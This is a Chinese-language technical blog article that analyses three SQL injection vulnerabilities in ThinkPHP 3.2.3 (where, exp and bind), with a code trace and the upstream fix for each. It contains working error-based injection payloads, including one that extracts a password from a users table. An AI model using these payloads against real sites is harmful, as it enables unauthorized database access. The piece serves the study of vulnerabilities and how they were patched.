网站首页 > 知识剖析 正文
前言
ThinkPhp是目前主流的一款php语言框架,但在使用中,也是产生了很多的高危漏洞。本文小编将从Thinkphp3说起,说明一些tp3框架的漏洞产生原理。使广大爱好者进一步深刻的理解框架。
环境搭建
- 下载源码
- 编辑器使用了phpstrom
- 配置数据库
- 添加测试数据
Thinkphp3.2.3 where注入
- payload
?id[where]=1 and 1=updatexml(1,concat(0x7e,(select password from users limit 1),0x7e),1)%23
- 断点
分析
- 经过htmlspecialchars过滤
- 于442行通过think_filter函数进行过滤
- 经过ThinkPHP/Library/Think/Model.class.php:779的find()方法
- 满足条件则进入
- 强制进行转换,转换为了int形
- 带入查询
- 步骤
id=1' -> I() -> find() -> __parseOptions() ->_parseType()
满足条件才能进去__parseOptions()方法
- 条件
if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join']))
- 绕过
index.php?id[where]=3 and 1=1
修复
Thinkphp 3.2.3 exp注入
- 部署环境
- payload
http://localhost:8888/tp3/index.php?username[0]=exp&username[1]==1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)
分析
- 进入Model.class.php的822行this?>select(this?>select(options)
- 跟进select方法
- 跟踪Driver.class.php中的parseSql方法
- 跟踪Driver.class.php中的parseWhere方法
- 经过whereStr.=whereStr.=this->parseWhereItem(this?>parseKey(this?>parseKey(key), $val)方法,跟踪进去
需要时数组才可以进去if语句
- 语句exp直接拼接构成注入
} elseif ('bind' == $exp) {
// 使用表达式
$whereStr .= $key . ' = :' . $val[1];
修复
使用I方法接受会通过think_filter函数进行过滤
thinkphp 3.2.3 bind注入
- payload
index.php?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&password=1
- 环境部署
public function index()
{
$User = M("Users");
$user['id'] = I('id');
$data['password'] = I('password');
$valu = $User->where($user)->save($data);
var_dump($valu);
}
上文说到除了exp还有bind可以进行注入
- 报错
- 进入update方法
- 进入到了parseWhereItem方法(bind可以注入)
- 于函数bindParam进行了添加冒号
- 在Driver.class.php文件execute中进行冒号替换
if (!empty($this->bind)) {
$that = $this;
$this->queryStr = strtr($this->queryStr, array_map(function ($val) use ($that) {return '\'' . $that->escapeString($val) . '\'';}, $this->bind));
}
- 如果payload不是0的话
修复
https://github.com/top-think/thinkphp/commit/7e47e34af72996497c90c20bcfa3b2e1cedd7fa4
猜你喜欢
- 2024-11-11 详解如何防止SQL注入:应对方案与优缺点分析
- 2024-11-11 XSS注入我也不怕不怕啦--PHP从框架层面屏蔽XSS的思考和实践
- 2024-11-11 挖0day漏洞原来如此简单,我的黑客朋友手把手教你
- 2024-11-11 php用soap调用接口实例,返回值没有见到xml
- 2024-11-11 备战金九银十,2020最新大厂PHP面试题(附答案)
- 2024-11-11 dede后台发布文章的时候显示标题不能为空?
- 2024-11-11 PHP漏洞之-Session劫持 php session机制
- 2024-11-11 php特殊字符处理 php 特殊字符自动转义
- 2024-11-11 Java面试260题(2020年版,3-5年面试题重点突破)(二)
- 2024-11-11 2020最新大厂PHP面试题(附答案) php面试官应该问些什么
- 最近发表
- 标签列表
-
- xml (46)
- css animation (57)
- array_slice (60)
- htmlspecialchars (54)
- position: absolute (54)
- datediff函数 (47)
- array_pop (49)
- jsmap (52)
- toggleclass (43)
- console.time (63)
- .sql (41)
- ahref (40)
- js json.parse (59)
- html复选框 (60)
- css 透明 (44)
- css 颜色 (47)
- php replace (41)
- css nth-child (48)
- min-height (40)
- xml schema (44)
- css 最后一个元素 (46)
- location.origin (44)
- table border (49)
- html tr (40)
- video controls (49)